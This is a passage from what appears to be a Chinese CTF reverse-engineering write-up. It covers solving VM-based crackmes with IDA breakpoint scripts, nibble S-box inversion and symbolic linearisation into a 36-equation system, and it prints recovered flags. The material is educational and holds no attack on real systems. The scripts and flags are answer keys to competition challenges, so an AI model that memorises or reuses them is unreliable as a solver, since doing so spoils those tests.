swap(114 ) for i in range (2 , n + 1 ): D[i] = src_bytes[i - 2 ] C = [0 ] * (n + 1 ) for i in range (1 , n + 1 ): C[i] = swap(D[i]) B = [0 ] * (n + 1 ) B[1 ] = C[1 ] for i in range (2 , n + 1 ): B[i] = C[i] ^ C[i - 1 ] arc = [0 ] * (n + 1 ) arc[1 ] = B[1 ] for i in range (2 , n + 1 ): val = B[i] - i while val <= 0 : val += 255 arc[i] = val word = '' .join(qrazy[idx - 1 ] for idx in arc[2 :]) return arc[1 :], word if __name__ == '__main__' : arc_indices, word = decrypt(src) print ('arc indices:' , arc_indices) print ('input word :' , word)
TSCTF-J{LET_M3_8E_W1TH_Y0U}
The Loom of Mirrored Dreams 虚拟机逆向,没有反调,其实很简单
下好断点先
主逻辑
其实这种一般都是tea类等 异或,加法,运算较多
我们在加减乘除那边设好断点dump运算逻辑出来即可
如add
一个add指令
我们在这下断点,运行到这rdx,rcx已经被赋值
我们加一下不就知道当时的状态是a = d +c 了吗
如果我们知道所有的状态,不就是知道加密的方法了吗?
左边edit breakpoint
为了演示,我在这里用了IDC脚本,下面会用IDApython
1 2 3 4 auto rcx = GetRegValue("rcx" );auto rdx = GetRegValue("rdx" );auto sum = rcx + rdx;Message("%X = %X + %X;\n" , sum, rcx, rdx);
shr:
1 2 3 4 5 6 import idcvalue = idc.get_reg_value("rdx" ) shift = idc.get_reg_value("cl" ) & 0x3F result = value >> shift print (f"{value} >> {shift} = {result} " )
mul
1 2 3 4 5 6 7 8 9 import idcimport ida_bytesrbp = idc.get_reg_value("rbp" ) mul_a = idc.get_reg_value("rax" ) mul_b = ida_bytes.get_qword(rbp - 0x18 ) prod = (mul_a * mul_b) & 0xFFFFFFFFFFFFFFFF print (f"{mul_a} * {mul_b} = {prod} " )
xor
1 2 3 4 5 6 7 8 import idcimport ida_bytesrbp = idc.get_reg_value("rbp" ) v5 = idc.get_reg_value("rax" ) v4 = ida_bytes.get_qword(rbp - 0x18 ) result = (v5 ^ v4) & 0xFFFFFFFFFFFFFFFF print (f"{v5} ^ {v4} = {result} " )
sub
1 2 3 4 5 6 7 8 import idcimport ida_bytesrbp = idc.get_reg_value("rbp" ) minuend = idc.get_reg_value("rax" ) subtrahend = ida_bytes.get_qword(rbp - 0x18 ) diff = (minuend - subtrahend) & 0xFFFFFFFFFFFFFFFF print (f"{minuend} - {subtrahend} = {diff} " )
shl
1 2 3 4 5 6 7 8 import idcimport ida_bytesrbp = idc.get_reg_value("rbp" ) value = ida_bytes.get_qword(rbp - 0x20 ) shift = idc.get_reg_value("cl" ) & 0x3F result = (value << shift) & 0xFFFFFFFFFFFFFFFF print (f"{value} << {shift} = {result} " )
运行即可在下方output发现,我输入的是11111222223333344444555556666677777
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 0 * 19 = 0 AB = 0 + AB; 171 ^ 49 = 154 1 = 0 + 1; 1 * 19 = 19 BE = 13 + AB; 190 ^ 49 = 143 2 = 1 + 1; 2 * 19 = 38 D1 = 26 + AB; 209 ^ 49 = 224 3 = 2 + 1; 3 * 19 = 57 E4 = 39 + AB; 228 ^ 49 = 213 4 = 3 + 1; 4 * 19 = 76 F7 = 4C + AB; 247 ^ 49 = 198 5 = 4 + 1; 5 * 19 = 95 10A = 5F + AB; 10 ^ 50 = 56 6 = 5 + 1; 6 * 19 = 114 11D = 72 + AB; 29 ^ 50 = 47 7 = 6 + 1; 7 * 19 = 133 130 = 85 + AB; 48 ^ 50 = 2 8 = 7 + 1; 8 * 19 = 152 143 = 98 + AB; 67 ^ 50 = 113 9 = 8 + 1; 9 * 19 = 171 156 = AB + AB; 86 ^ 50 = 100 A = 9 + 1; 10 * 19 = 190 169 = BE + AB; 105 ^ 51 = 90 B = A + 1; 11 * 19 = 209 17C = D1 + AB; 124 ^ 51 = 79 C = B + 1; 12 * 19 = 228 18F = E4 + AB; 143 ^ 51 = 188 D = C + 1; 13 * 19 = 247 1A2 = F7 + AB; 162 ^ 51 = 145 E = D + 1; 14 * 19 = 266 1B5 = 10A + AB; 181 ^ 51 = 134 F = E + 1; 15 * 19 = 285 1C8 = 11D + AB; 200 ^ 52 = 252 10 = F + 1; 16 * 19 = 304 1DB = 130 + AB; 219 ^ 52 = 239 11 = 10 + 1; 17 * 19 = 323 1EE = 143 + AB; 238 ^ 52 = 218 12 = 11 + 1; 18 * 19 = 342 201 = 156 + AB; 1 ^ 52 = 53 13 = 12 + 1; 19 * 19 = 361 214 = 169 + AB; 20 ^ 52 = 32 14 = 13 + 1; 20 * 19 = 380 227 = 17C + AB; 39 ^ 53 = 18 15 = 14 + 1; 21 * 19 = 399 23A = 18F + AB; 58 ^ 53 = 15 16 = 15 + 1; 22 * 19 = 418 24D = 1A2 + AB; 77 ^ 53 = 120 17 = 16 + 1; 23 * 19 = 437 260 = 1B5 + AB; 96 ^ 53 = 85 18 = 17 + 1; 24 * 19 = 456 273 = 1C8 + AB; 115 ^ 53 = 70 19 = 18 + 1; 25 * 19 = 475 286 = 1DB + AB; 134 ^ 54 = 176 1A = 19 + 1; 26 * 19 = 494 299 = 1EE + AB; 153 ^ 54 = 175 1B = 1A + 1; 27 * 19 = 513 2AC = 201 + AB; 172 ^ 54 = 154 1C = 1B + 1; 28 * 19 = 532 2BF = 214 + AB; 191 ^ 54 = 137 1D = 1C + 1; 29 * 19 = 551 2D2 = 227 + AB; 210 ^ 54 = 228 1E = 1D + 1; 30 * 19 = 570 2E5 = 23A + AB; 229 ^ 55 = 210 1F = 1E + 1; 31 * 19 = 589 2F8 = 24D + AB; 248 ^ 55 = 207 20 = 1F + 1; 32 * 19 = 608 30B = 260 + AB; 11 ^ 55 = 60 21 = 20 + 1; 33 * 19 = 627 31E = 273 + AB; 30 ^ 55 = 41 22 = 21 + 1; 34 * 19 = 646 331 = 286 + AB; 49 ^ 55 = 6 23 = 22 + 1; 154 >> 4 = 9 14 << 4 = 224 1 = 0 + 1; 143 >> 4 = 8 3 << 4 = 48 2 = 1 + 1; 224 >> 4 = 14 1 << 4 = 16 3 = 2 + 1; 213 >> 4 = 13 7 << 4 = 112 4 = 3 + 1; 198 >> 4 = 12 4 << 4 = 64 5 = 4 + 1; 56 >> 4 = 3 11 << 4 = 176 6 = 5 + 1; 47 >> 4 = 2 6 << 4 = 96 7 = 6 + 1; 2 >> 4 = 0 12 << 4 = 192 8 = 7 + 1; 113 >> 4 = 7 13 << 4 = 208 9 = 8 + 1; 100 >> 4 = 6 10 << 4 = 160 A = 9 + 1; 90 >> 4 = 5 0 << 4 = 0 B = A + 1; 79 >> 4 = 4 9 << 4 = 144 C = B + 1; 188 >> 4 = 11 8 << 4 = 128 D = C + 1; 145 >> 4 = 9 14 << 4 = 224 E = D + 1; 134 >> 4 = 8 3 << 4 = 48 F = E + 1; 252 >> 4 = 15 2 << 4 = 32 10 = F + 1; 239 >> 4 = 14 1 << 4 = 16 11 = 10 + 1; 218 >> 4 = 13 7 << 4 = 112 12 = 11 + 1; 53 >> 4 = 3 11 << 4 = 176 13 = 12 + 1; 32 >> 4 = 2 6 << 4 = 96 14 = 13 + 1; 18 >> 4 = 1 5 << 4 = 80 15 = 14 + 1; 15 >> 4 = 0 12 << 4 = 192 16 = 15 + 1; 120 >> 4 = 7 13 << 4 = 208 17 = 16 + 1; 85 >> 4 = 5 0 << 4 = 0 18 = 17 + 1; 70 >> 4 = 4 9 << 4 = 144 19 = 18 + 1; 176 >> 4 = 11 8 << 4 = 128 1A = 19 + 1; 175 >> 4 = 10 15 << 4 = 240 1B = 1A + 1; 154 >> 4 = 9 14 << 4 = 224 1C = 1B + 1; 137 >> 4 = 8 3 << 4 = 48 1D = 1C + 1; 228 >> 4 = 14 1 << 4 = 16 1E = 1D + 1; 210 >> 4 = 13 7 << 4 = 112 1F = 1E + 1; 207 >> 4 = 12 4 << 4 = 64 20 = 1F + 1; 60 >> 4 = 3 11 << 4 = 176 21 = 20 + 1; 41 >> 4 = 2 6 << 4 = 96 22 = 21 + 1; 6 >> 4 = 0 12 << 4 = 192 23 = 22 + 1; 1 = 0 + 1; 239 ^ 50 = 221 1 = 0 + 1; 2 = 1 + 1; 50 ^ 28 = 46 2 = 1 + 1; 3 = 2 + 1; 28 ^ 112 = 108 3 = 2 + 1; 4 = 3 + 1; 112 ^ 74 = 58 4 = 3 + 1; 5 = 4 + 1; 74 ^ 179 = 249 5 = 4 + 1; 6 = 5 + 1; 179 ^ 98 = 209 6 = 5 + 1; 7 = 6 + 1; 98 ^ 198 = 164 7 = 6 + 1; 8 = 7 + 1; 198 ^ 213 = 19 8 = 7 + 1; 9 = 8 + 1; 213 ^ 169 = 124 9 = 8 + 1; A = 9 + 1; 169 ^ 15 = 166 A = 9 + 1; B = A + 1; 15 ^ 146 = 157 B = A + 1; C = B + 1; 146 ^ 132 = 22 C = B + 1; D = C + 1; 132 ^ 229 = 97 D = C + 1; E = D + 1; 229 ^ 58 = 223 E = D + 1; F = E + 1; 58 ^ 36 = 30 F = E + 1; 10 = F + 1; 36 ^ 18 = 54 10 = F + 1; 11 = 10 + 1; 18 ^ 127 = 109 11 = 10 + 1; 12 = 11 + 1; 127 ^ 176 = 207 12 = 11 + 1; 13 = 12 + 1; 176 ^ 108 = 220 13 = 12 + 1; 14 = 13 + 1; 108 ^ 86 = 58 14 = 13 + 1; 15 = 14 + 1; 86 ^ 194 = 148 15 = 14 + 1; 16 = 15 + 1; 194 ^ 211 = 17 16 = 15 + 1; 17 = 16 + 1; 211 ^ 0 = 211 17 = 16 + 1; 18 = 17 + 1; 0 ^ 154 = 154 18 = 17 + 1; 19 = 18 + 1; 154 ^ 140 = 22 19 = 18 + 1; 1A = 19 + 1; 140 ^ 242 = 126 1A = 19 + 1; 1B = 1A + 1; 242 ^ 239 = 29 1B = 1A + 1; 1C = 1B + 1; 239 ^ 62 = 209 1C = 1B + 1; 1D = 1C + 1; 62 ^ 25 = 39 1D = 1C + 1; 1E = 1D + 1; 25 ^ 118 = 111 1E = 1D + 1; 1F = 1E + 1; 118 ^ 66 = 52 1F = 1E + 1; 20 = 1F + 1; 66 ^ 180 = 246 20 = 1F + 1; 21 = 20 + 1; 180 ^ 110 = 218 21 = 20 + 1; 22 = 21 + 1; 110 ^ 202 = 164 22 = 21 + 1; 23 = 22 + 1; 202 ^ 221 = 23 23 = 22 + 1;
可以分析得到逻辑
1. 在 vm_execute 的首个循环里,按照索引 i 计算掩码 ((0xAB + 0x13*i) & 0xFF),并对 buf[i] 做异或。
2. 第二个循环把每个字节拆成高/低 4bit,通过 S 盒 sbox = [0xC,0x5,0x6,0xB,0x9,0x0,0xA,0xD,0x3,0xE,0xF,0x8,0x4,0x7,0x1,0x2] 逐一替换后再组合。
3. 第三个循环按顺序执行 buf[i] ^= buf[(i+1)%35](最后一个元素用已更新过的 buf[0])。
4. 校验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0 * 19 = 0 AB = 0 + AB; 171 ^ 49 = 154 1 = 0 + 1; 1 * 19 = 19 BE = 13 + AB; 190 ^ 49 = 143 2 = 1 + 1; 2 * 19 = 38 D1 = 26 + AB; 209 ^ 49 = 224 3 = 2 + 1; 3 * 19 = 57 E4 = 39 + AB;
很明显一直在更新0x13 ,再加个0xAB 这里dump时候都是16进制
再往下,到 “10 ^ 50 = 56 / 11D = 72 + AB” 这一块,成对出现一条右移或与操作、紧接着又有 LOAD_TABLE16 那些断点打印(在 output.里为 <值> >> 4 = …、<值> << 4 = …)。这些输出说明每个字节都被拆成高低 4 bit 送进 S 盒,再合成一个新字节。
所以”很容易”看出是 nibble S-box。
再往后的 “29 ^ 50 = 47 … 58 ^ 36 = 30 …” 那串,则是 LOAD_IN + ADD 1 + MOD 35 + XOR 的动作:输出[i] = buffer[i] ^ buffer[(i+1)%35]。日志可以直白地呈现出 “A ^= B”。特别是倒数几行还能看到最后一个元素在用已经更新过的 buffer[0],说明是环形依赖。
stage2你要结合这个
其实还是有点难想到的
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 enc = [ 0x35 , 0xF1 , 0x6A , 0x09 , 0xE8 , 0x60 , 0x95 , 0xC7 , 0xF5 , 0xFE , 0x3F , 0x29 , 0xA8 , 0xA7 , 0x65 , 0x11 , 0xBD , 0x34 , 0xB9 , 0x53 , 0x92 , 0x60 , 0x1A , 0x7E , 0x46 , 0xAA , 0x59 , 0x56 , 0x18 , 0xBC , 0x7A , 0x5B , 0x71 , 0x4F , 0xA1 , ] sbox = [0xC , 0x5 , 0x6 , 0xB , 0x9 , 0x0 , 0xA , 0xD , 0x3 , 0xE , 0xF , 0x8 , 0x4 , 0x7 , 0x1 , 0x2 ] inv_sbox = {v: i for i, v in enumerate (sbox)} n = len (enc) xor_prefix = 0 for i in range (n - 1 ): xor_prefix ^= enc[i] stage2 = [0 ] * n stage2[0 ] = enc[-1 ] ^ xor_prefix ^ enc[0 ] for i in range (n - 1 ): stage2[i + 1 ] = stage2[i] ^ enc[i] stage1 = [] for b in stage2: hi = inv_sbox[b >> 4 ] lo = inv_sbox[b & 0xF ] stage1.append((hi << 4 ) | lo) flag = [] for i, b in enumerate (stage1): mask = (0xAB + 0x13 * i) & 0xFF flag.append(b ^ mask) print (bytes (flag).decode())
1 TSCTF-J{Y0u_@4r3_R4@11&_s0lxE_VVmm}
ez_re 侥幸之前看过(大概做到了把虚拟机的是线性变换发现就没做了hh),但没有出,赛中出了
这里有个54C8函数进去看看
结合55F4一起看,unk_1000096C0有点像vmcode不确定,55F4有点像vm的代码 switch的
没有发现主要的加密逻辑,基本能确定是vm了
sub_1000054C8这个方法,其实就是在做搭虚拟机实例,同时申请了三块区域,可能是虚拟机需要的数据区
一次ka你了 sub_1000057C8 等十余个函数,发现逻辑都很底层(逐位加法、移位乘法、手工 XOR)。根据行为重命名:vm_op_set_reg、vm_op_add_regs、vm_op_store_mem 等。例如 sub_100005d30 检查 data+0x1D6 的比较结果 + 36 次计数后输出“right”,因此这是终止条件。
输入长度为36
55F4函数中 VM执行 ,遍历 8 字节的指令槽,读取末尾的 16 bit opcode,根据 opcode 调用 vtable 上不同的处理函数。循环次数固定 74888/8=9361 次
一次确认了那些函数的作用,如下面是一个加法操作
有点抽象,这些vm_add的确实有点抽象,问GPT就知道了
做了个重命名
sub_1000054C8把 off_1000080F8 填进新对象的第一个指针,并没有把它复制到字节码区,而是保存在结构的第一个字段。随后 vm_interpret 里,取指令时是从 v1[1](也就是那块 0x14000 的缓冲)按 8 字节顺序读取,并把第四个 16 位字段当 opcode(v3 + n74888 + 6)。
其他三个 16 位字段(0/2/4)从未直接拿来做分支,只在各 handler 内按寄存器索引,内存地址等用途被解读。
前三个是操作数
之后想要进展,我们需要确认vm内存布局
解释器在 vm_write_data16/vm_read_data16 等函数里不停地对某块内存+偏移做读写。如果不知道这些偏移对应什么,就无法理解每条 opcode 对状态的影响
注意到几个信息
vm_write_small_reg 的实现是:
在做赋值操作,说明四个寄存器就放在数据块偏移 0x200 开始的连续 8 字节里。vm_read_small_reg 用同样的偏移读数,所以寄存器位点确定无疑。
1 如果参数 idx 在 1..4,就把 val 存到 base + 0x200 + 2*(idx-1)。与之成对的 vm_read_small_reg 用完全相同的偏移取回这个值。很明显这就是对固定数量槽位的读写,而不像普通内存(普通内存用的是 base + 2*addr)
1 相当于 *(WORD *)(context + 0x1D6) = (regA == regB);
输入字符串在 data[0..35] ,4 个 16 位寄存器在 data+0x200,比较结果在 data+0x1D6,成功计数在 data+0x1D8
1 vm_op_check_success 则先检查这个字,再把 *(WORD *)(context + 0x1D8) 自增;当它增到 36 时返回 “right”,否则若有任意一次失败直接调用 sub_1000055DC("wrong\n") 退出。这样就能定位比较结果和计数器的具体偏移。
普通内存读写是:
总结下:
1 data+idx*2 属于通用内存,data+0x200 起是4个寄存器槽,data+0x1D6/0x1D8 储存比较标志和成功计数。输入字符串被run_vm_from_input写进数据区开头
因为vim_interpret是8字节8字节读取的,看逻辑我们解释器的 switch 里,合法opcode只有 case 1 到case 0xC共 12 种,自己手动确认了下确实那一段是bytecode,也可以写个小脚本读取确认下
确定字节码起点 0x96c0 后,我用 Python 读取那段数据,并按 8 字节一步解成 (arg0, arg1, arg2, opcode) 四个 16 位数,打印前面几十条
1 2 3 4 5 6 7 import structwith open ('chall' ,'rb' ) as f: f.seek(0x96c0 ) data=f.read(9360 *8 ) insts=[struct.unpack_from('<HHHH' , data, i*8 ) for i in range (255 )] for i,(a,b,c,op) in enumerate (insts): print (f'{i:04d} : op={op:04x} args=({a:04x} ,{b:04x} ,{c:04x} )' )
能发现a1516这样的块重复出现了约36次,对应flag长度36
输出显示比较总是在指令号 258、518、778…出现,而下一个 op=9 紧随其后(259、519、779…)。因此每两次比较之间隔着 260 条指令,取这段长度作为一个块再去分析就能覆盖整个逻辑
7出现的次数与flag长度相同也有理由怀疑其是cmp
1 2 3 4 5 6 7 8 9 10 11 12 13 import structwith open ('chall' , 'rb' ) as f: f.seek(0x96c0 ) data = f.read(9360 * 8 ) insts = [struct.unpack_from('<HHHH' , data, i * 8 ) for i in range (9360 )] ops_used = {op for _, _, _, op in insts} print (f'\nunique opcodes in first 9360 instructions: {sorted (ops_used)} ' )
1 unique opcodes in first 300 instructions: [1, 3, 4, 5, 6, 7, 9, 10]
只出现了这8种指令[1, 3, 4, 5, 6, 7, 9, 10]
意味着在整块里出现的 opcode 只有 1(set)、3(加)、4(xor)、5(store)、6(load)、7(compare)、9(check)、10(减)。发现 4 总是成对地把同一个寄存器和自己 XOR 为 0,用来清寄存器。没有乘法、取反、非线性操作。
很多条指令都是 op=0001 args=(0001,0026,0000),即把寄存器 1 设为常量 0x26。接着马上就有 op=0005 args=(0001,0003,0000),即用寄存器 1 里的值当地址,把寄存器 3 的内容写进数据区。这一对组合出现多次,说明 0x26 这个槽一直被当作累加器。
本题最终要的就是找指令规律和明确对应关系,还是要多试
我们可以写一个新的测试脚本探寻规律
可以用”临时线性化脚本”,其实就是把每条 opcode 的作用改写成”在字典里做加减”
把一块 260 条指令读出来,每条 8 字节拆成 (dst, op1, op2, opcode)。
用字典表示寄存器/内存的线性表达式:
{‘const’: 0, ‘x0’:1, ‘x5’:65535} 表示 x0 - x5(因为 65535 ≡ -1 mod 65536)。
初始时 mem[i] = {‘xi’:1, ‘const’:0} 代表输入的第 i 个字符。
根据 opcode 更新这些字典:
1:寄存器 ← 常量 → {‘const’: imm}。
3/10:寄存器 ← 加/减 → 合并字典系数。
5/6:以寄存器值当地址,读写 mem。
4:异或清零 → 写成 {‘const’:0}。
7 之后我们不再需要处理(它只做比较)。
块结束时,读出 mem[0x26],得到某个输入字符的线性组合,regs[1]['const'] 就是常量目标。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 测试代码: > 这个脚本挺难写的还好GPT5帮忙了,不然真写不出来...... ```python import struct from fractions import Fraction MOD = 1 << 16 BLOCK_SIZE = 260 NUM_BLOCKS = 36 BYTECODE_OFFSET = 0x96C0 BYTECODE_LEN = BLOCK_SIZE * NUM_BLOCKS * 8 def expr_const(v): return {'const': v % MOD} def expr_add(e1, e2): keys = set(e1) | set(e2) return {k: (e1.get(k, 0) + e2.get(k, 0)) % MOD for k in keys} def expr_sub(e1, e2): keys = set(e1) | set(e2) return {k: (e1.get(k, 0) - e2.get(k, 0)) % MOD for k in keys} def norm16(v): return v - 0x10000 if v >= 0x8000 else v def run_block(insts): regs = {i: {'const': 0} for i in range(1, 5)} mem = {i: {f'x{i}': 1, 'const': 0} for i in range(36)} mem[0x26] = {'const': 0} for dst, op1, op2, opcode in insts: if opcode == 1: # set reg regs[dst] = expr_const(op1) elif opcode == 3: # add regs[dst] = expr_add(regs[op1], regs[op2]) elif opcode == 10: # sub regs[dst] = expr_sub(regs[op1], regs[op2]) elif opcode == 5: # store addr = regs[dst]['const'] mem[addr] = dict(regs[op1]) elif opcode == 6: # load addr = regs[dst]['const'] regs[op1] = dict(mem.get(addr, {'const': 0})) elif opcode == 4: # xor -> zero regs[dst] = {'const': 0} expr = mem[0x26] coeffs = [0] * 36 for name, val in expr.items(): if name == 'const': continue idx = int(name[1:]) coeffs[idx] = norm16(val) target = norm16(regs[1]['const']) return coeffs, target def main(): with open('chall', 'rb') as f: f.seek(BYTECODE_OFFSET) buf = f.read(BYTECODE_LEN) rows = [] rhs = [] for blk in range(NUM_BLOCKS): block = [ struct.unpack_from('<HHHH', buf, blk * BLOCK_SIZE * 8 + i * 8) for i in range(BLOCK_SIZE) ] coeffs, target = run_block(block) rows.append(coeffs) rhs.append(target) for i, (row, target) in enumerate(zip(rows, rhs)): nz = [(idx, val) for idx, val in enumerate(row) if val] print(f'Block {i:02d} target={target:4d} terms={len(nz)}') if __name__ == '__main__': main()
这 36 行输出各自对应虚拟机的 36 个检测块,意思是:
Block XX target=YYY:这个块最终把data[0x26]累加成一个值,然后要求它等于常数 YYY。比如第一条 target=-6,说明块 0 最终要求组合结果 = -6。
terms=36:这一块里把 36 个输入字符全部用到了(每个变量的系数都非零)。换句话说,Block 00 其实表示 Σ coeff_i * x_i = -6,这里的 coeff_i 包括正负 1、±其他整系数,x_i 就是 flag 第 i 个字符的 ASCII 值。
这些信息是我们后面构建线性方程组的原料。对每个块,我们不仅记录 target,还记录一整行 36 个系数(脚本里 run_block 返回的 coeffs)。把 36 行系数拼在一起,就是一个 36×36 的矩阵;把 36 个 target 拼成右端向量,然后解这个线性系统,就能得到 36 个字符的 ASCII 数值,自然就复原出 flag。
并不是拿具体输入去跑 VM,而是把每个寄存器/内存槽都用符号表达式来表示(x0..x35 对应 36 个输入字符)。由于字节码里只出现了设常量、加/减、内存读写这些线性操作,整条指令流对输入的影响天然是线性的,能一直用”符号系数”追踪下去。
因此,跑完一个块后得到的不是“实际值”,而是一个方程:memory[0x26] = Σ coeff_i * x_i,而 reg1 给出同一块中设置的常数 target。这两者相等就形成了线性约束 Σ coeff_i * x_i = target。
如果只盯住第一块,在这个块里把所有指令跑一遍,最终都会看到:该块把输入字符按特定系数累加到 memory[0x26],然后和 reg1 里的常量比较。只要能把这串系数和常量提炼出来,就知道这一组的线性关系了。
在抽象出 36 条线性方程后,把它们堆成一个 36×36 的矩阵 A 和一个长度 36 的常量向量 b(脚本里 rows 和 rhs)
run_block得到关系,solve_linear来解开这个关系
举一个例子
只有三个指令,输入长度也只有3
set rX, imm:把寄存器 rX 设成常数。
load rX, addr:读取数据区 mem[addr](一开始就是输入字符)放进寄存器。
add rX, rY:把 rX = rX + rY。
store addr, rX:把寄存器写回内存。
cmp rX, imm:比较寄存器是否等于常数。
假设字节码只有 5 条:
1. set r0, 0 ; 把寄存器0清零
2. load r1, 0 ; 读取 x0
3. add r0, r1 ; r0 += x0
4. load r1, 1 ; r1 = x1
5. add r0, r1 ; r0 += x1
6. load r1, 2 ; r1 = x2
7. add r0, r1 ; r0 += x2
8. cmp r0, 100 ; 检查 x0 + x1 + x2 == 100 ?
这题的思路就是
把他们符号化
mem[0] = x0
mem[1] = x1
mem[2] = x2
然后按指令跑:
指令 1:r0 = 0
指令 2:r1 = x0
指令 3:r0 = r0 + r1 = 0 + x0 = x0
指令 4:r1 = x1
指令 5:r0 = x0 + x1
指令 6:r1 = x2
指令 7:r0 = x0 + x1 + x2
指令 8:要求 r0 == 100
因此我们得到一个线性方程:x0 + x1 + x2 = 100。
如果再来一个块,让它计算 x0 - x1 + 2*x2 = 50,响应用符号执行同样的流程,就能得到第二条方程。把这两条放在一起就是个小的线性方程组,解出来就能知道三个输入字符的值。
为什么能这样?因为我们之前观察了指令
只有线性变化
执行约260条指令才check,也就是这么多指令对应一个check
不就刚好组成一个方程组了吗 0.0
exp:
GPT5帮着修了好久的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 import structfrom fractions import FractionMOD = 1 << 16 BLOCK_SIZE = 260 NUM_BLOCKS = 36 INSTR_COUNT = BLOCK_SIZE * NUM_BLOCKS def locate_bytecode (blob, need=INSTR_COUNT ): run = 0 for off in range (0 , len (blob) - 8 , 8 ): opcode = int .from_bytes(blob[off + 6 :off + 8 ], 'little' ) if 1 <= opcode <= 0xC : run += 1 if run == need: return off - (need - 1 ) * 8 else : run = 0 raise RuntimeError("bytecode blob not found" ) def add_expr (a, b ): keys = set (a) | set (b) return {k: (a.get(k, 0 ) + b.get(k, 0 )) % MOD for k in keys} def sub_expr (a, b ): keys = set (a) | set (b) return {k: (a.get(k, 0 ) - b.get(k, 0 )) % MOD for k in keys} def run_block (insts ): regs = {i: {'const' : 0 } for i in range (1 , 5 )} mem = {i: {f'x{i} ' : 1 , 'const' : 0 } for i in range (36 )} mem[0x26 ] = {'const' : 0 } for dst, op1, op2, opcode in insts: if opcode == 1 : regs[dst] = {'const' : op1 % MOD} elif opcode == 3 : regs[dst] = add_expr(regs[op1], regs[op2]) elif opcode == 10 : regs[dst] = sub_expr(regs[op1], regs[op2]) elif opcode == 5 : addr = regs[dst]['const' ] % MOD mem[addr] = dict (regs[op1]) elif opcode == 6 : addr = regs[dst]['const' ] % MOD regs[op1] = dict (mem.get(addr, {'const' : 0 })) elif opcode == 4 : regs[dst] = {'const' : 0 } expr = mem[0x26 ] coeffs = [0 ] * 36 for label, value in expr.items(): if label == 'const' : continue idx = int (label[1 :]) coeffs[idx] = value if value < 0x8000 else value - 0x10000 target = regs[1 ]['const' ] if target >= 0x8000 : target -= 0x10000 return coeffs, target def build_system (blob ): start = locate_bytecode(blob) coeffs, targets = [], [] for blk in range (NUM_BLOCKS): base = start + blk * BLOCK_SIZE * 8 block = [ struct.unpack_from('<HHHH' , blob, base + i * 8 ) for i in range (BLOCK_SIZE) ] row, rhs = run_block(block) coeffs.append(list (map (Fraction, row))) targets.append(Fraction(rhs)) return coeffs, targets def solve_linear (A, b ): n = len (A) M = [row[:] for row in A] y = b[:] for col in range (n): pivot = max (range (col, n), key=lambda r: abs (M[r][col])) if M[pivot][col] == 0 : raise RuntimeError("singular matrix" ) if pivot != col: M[col], M[pivot] = M[pivot], M[col] y[col], y[pivot] = y[pivot], y[col] pivot_val = M[col][col] for j in range (col, n): M[col][j] /= pivot_val y[col] /= pivot_val for row in range (col + 1 , n): factor = M[row][col] if factor == 0 : continue for j in range (col, n): M[row][j] -= factor * M[col][j] y[row] -= factor * y[col] x = [Fraction(0 )] * n for i in range (n - 1 , -1 , -1 ): s = y[i] for j in range (i + 1 , n): s -= M[i][j] * x[j] x[i] = s return [int (round (val)) for val in x] def main (): blob = open ('chall' , 'rb' ).read() A, b = build_system(blob) chars = solve_linear(A, b) flag = '' .join(chr (c) for c in chars) print (flag) if __name__ == '__main__' : main()
DASCTF{w4ll_CpP_4nD_1O5_1S_Qu1T_FuN}
那些努力过没出的题 Python’s Shed Skin 可惜了,delta好像是0xdeadbeef,好像魔改了50,纯静态分析,时间不够了,花时间调一下有可能可以做出来
python反编译 - 在线工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import ezpydef main (): user_input = input ('Please input your flag: ' ) if ezpy.encrypt_check_flag(user_input): print ('Correct Flag! You are a master of reversing!' ) return None print ('Wrong Flag! Keep trying.' ) if __name__ == '__main__' : main() return None
Overwatch 比较想做出来的一道题
overwatch的话偏移搞错了,不然应该至少能出一段flag,一直以为是gworld搞错了,因为之前提取一直报错提示我gobject,后来能dump,却只有一点信息,那么猜想必然是gworld错了…结果打脸了
还有就是不知道为什么搜索seameless还有些常见字符串都搜索不到,出现这种情况,或者直接没有,看了源码才勉强能搜到一两个…
赛后下面那个偏移问题(主要是被网上某篇瞎写的博客和IDA字符串加载给暗算了)解决了自己做了下直接出了一段flag,后一段flag没找到只能看wp了
